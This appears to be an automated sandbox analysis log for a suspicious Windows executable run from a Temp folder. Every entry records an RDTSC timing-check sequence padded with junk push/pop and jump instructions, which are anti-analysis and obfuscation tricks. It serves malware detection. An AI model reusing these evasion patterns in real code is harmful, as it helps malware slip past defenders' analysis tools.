Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4A8D77 second address: 4A8D8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F742CC4420Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4A8D8B second address: 4A8D8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4A8D8F second address: 4A8D93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4A8EEE second address: 4A8EF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4A9196 second address: 4A91B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F742CC44212h 0x0000000b jc 00007F742CC44206h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4A91B5 second address: 4A91BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push edx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 42E5A1 second address: 42E5BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CC44217h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4A7DED second address: 4A7DF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4A7DF9 second address: 4A7DFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4A7DFD second address: 4A7E07 instructions: 0x00000000 rdtsc 0x00000002 js 00007F742CEB81C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4A7E07 second address: 4A7E1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push edx 0x0000000c pop edx 0x0000000d pushad 0x0000000e popad 0x0000000f push edi 0x00000010 pop edi 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4ADF83 second address: 4ADF87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4ADF87 second address: 4ADF8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4AE0F5 second address: 4AE0FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4AE0FE second address: 4AE102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4AE102 second address: 4AE12D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CEB81D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a jl 00007F742CEB8213h 0x00000010 push eax 0x00000011 push edx 0x00000012 jnc 00007F742CEB81C6h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4AE12D second address: 4AE146 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CC4420Ch 0x00000007 jp 00007F742CC44206h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4AE6F7 second address: 4AE721 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F742CEB81CAh 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F742CEB81D7h 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4AE721 second address: 4AE727 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4AE727 second address: 4AE749 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CEB81D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnp 00007F742CEB81FBh 0x0000000f jc 00007F742CEB81DFh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4ADC7D second address: 4ADC83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4ADC83 second address: 4ADC89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4ADC89 second address: 4ADC92 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4AEA73 second address: 4AEA7D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F742CEB81C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4AEA7D second address: 4AEA87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F742CC44206h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4AEA87 second address: 4AEA8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4AEA8B second address: 4AEA9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b jno 00007F742CC44206h 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4AEA9D second address: 4AEAA2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4AEAA2 second address: 4AEAC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F742CC44216h 0x00000009 pop esi 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4AEAC2 second address: 4AEAC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4AEC24 second address: 4AEC3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F742CC44213h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4AEDA8 second address: 4AEDAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4AF025 second address: 4AF02B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4AF02B second address: 4AF04A instructions: 0x00000000 rdtsc 0x00000002 je 00007F742CEB81C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F742CEB81CFh 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4AF04A second address: 4AF07A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F742CC44206h 0x00000008 je 00007F742CC44206h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 jnp 00007F742CC44229h 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F742CC44217h 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4AF07A second address: 4AF07E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4694B8 second address: 4694BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4694BC second address: 469517 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CEB81CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a mov dword ptr [esp], eax 0x0000000d call 00007F742CEB81D2h 0x00000012 jmp 00007F742CEB81CEh 0x00000017 pop edi 0x00000018 lea eax, dword ptr [ebp+124801B2h] 0x0000001e push 00000000h 0x00000020 push ebp 0x00000021 call 00007F742CEB81C8h 0x00000026 pop ebp 0x00000027 mov dword ptr [esp+04h], ebp 0x0000002b add dword ptr [esp+04h], 00000014h 0x00000033 inc ebp 0x00000034 push ebp 0x00000035 ret 0x00000036 pop ebp 0x00000037 ret 0x00000038 push eax 0x00000039 push ebx 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4695C9 second address: 4695CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 469A0C second address: 469A23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CEB81D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 469A23 second address: 469A38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jne 00007F742CC44206h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 469A38 second address: 469A42 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F742CEB81C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 469A42 second address: 469A50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F742CC4420Ah 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 469B17 second address: 469B21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F742CEB81C6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 469B21 second address: 469B3B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F742CC44206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 jl 00007F742CC44208h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 469B3B second address: 469B7B instructions: 0x00000000 rdtsc 0x00000002 jl 00007F742CEB81CCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jmp 00007F742CEB81D2h 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F742CEB81D5h 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 469B7B second address: 469B7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 469B7F second address: 469BB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007F742CEB81D6h 0x0000000c pop esi 0x0000000d popad 0x0000000e pop eax 0x0000000f cld 0x00000010 push FC167C25h 0x00000015 push eax 0x00000016 push edx 0x00000017 ja 00007F742CEB81CCh 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 469FEC second address: 469FF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46A712 second address: 46A71F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007F742CEB81C6h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46A71F second address: 46A72E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46A7D9 second address: 46A7E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CEB81CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46A7E8 second address: 46A831 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F742CC44208h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007F742CC44208h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 00000019h 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 lea eax, dword ptr [ebp+124801F6h] 0x0000002b mov edi, dword ptr [ebp+122D375Eh] 0x00000031 push eax 0x00000032 jc 00007F742CC44214h 0x00000038 push eax 0x00000039 push edx 0x0000003a jnc 00007F742CC44206h 0x00000040 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46A831 second address: 46A8A7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007F742CEB81C8h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 add edi, 60235BE9h 0x00000029 jnp 00007F742CEB81CCh 0x0000002f lea eax, dword ptr [ebp+124801B2h] 0x00000035 mov ecx, 5B6CEE87h 0x0000003a nop 0x0000003b jng 00007F742CEB81D6h 0x00000041 jmp 00007F742CEB81D0h 0x00000046 push eax 0x00000047 pushad 0x00000048 jnp 00007F742CEB81C8h 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007F742CEB81CAh 0x00000055 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4B443E second address: 4B4457 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F742CC44206h 0x0000000a jmp 00007F742CC4420Fh 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4B4728 second address: 4B4739 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b js 00007F742CEB81C6h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4B709A second address: 4B709E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4B709E second address: 4B70AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jno 00007F742CEB81C6h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4B71D9 second address: 4B720B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 je 00007F742CC4421Ch 0x0000000b jng 00007F742CC44206h 0x00000011 jmp 00007F742CC44210h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F742CC4420Fh 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4B720B second address: 4B723E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F742CEB81D0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F742CEB81D9h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4B723E second address: 4B7253 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CC4420Ch 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4B9D6F second address: 4B9D73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4B9D73 second address: 4B9D7D instructions: 0x00000000 rdtsc 0x00000002 jns 00007F742CC44206h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4B9EDC second address: 4B9EF6 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F742CEB81C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b jmp 00007F742CEB81CDh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4BA042 second address: 4BA046 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4BA046 second address: 4BA04C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4BE591 second address: 4BE597 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4BE262 second address: 4BE268 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4BE268 second address: 4BE26E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C362E second address: 4C3649 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CEB81D5h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C3649 second address: 4C365A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F742CC4420Dh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C379C second address: 4C37A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C3A7C second address: 4C3A84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C3A84 second address: 4C3A89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C3A89 second address: 4C3AB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CC44219h 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007F742CC44206h 0x0000000f jnl 00007F742CC44206h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C3C37 second address: 4C3C54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F742CEB81D9h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C3C54 second address: 4C3C58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46A1BF second address: 46A1DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 je 00007F742CEB81D1h 0x0000000b jmp 00007F742CEB81CBh 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46A1DC second address: 46A1E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46A1E0 second address: 46A1EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46A1EA second address: 46A1EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 46A1EE second address: 46A1F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C3F64 second address: 4C3F6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C3F6A second address: 4C3F6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C3F6E second address: 4C3F74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C3F74 second address: 4C3F8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F742CEB81D4h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C412A second address: 4C412E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
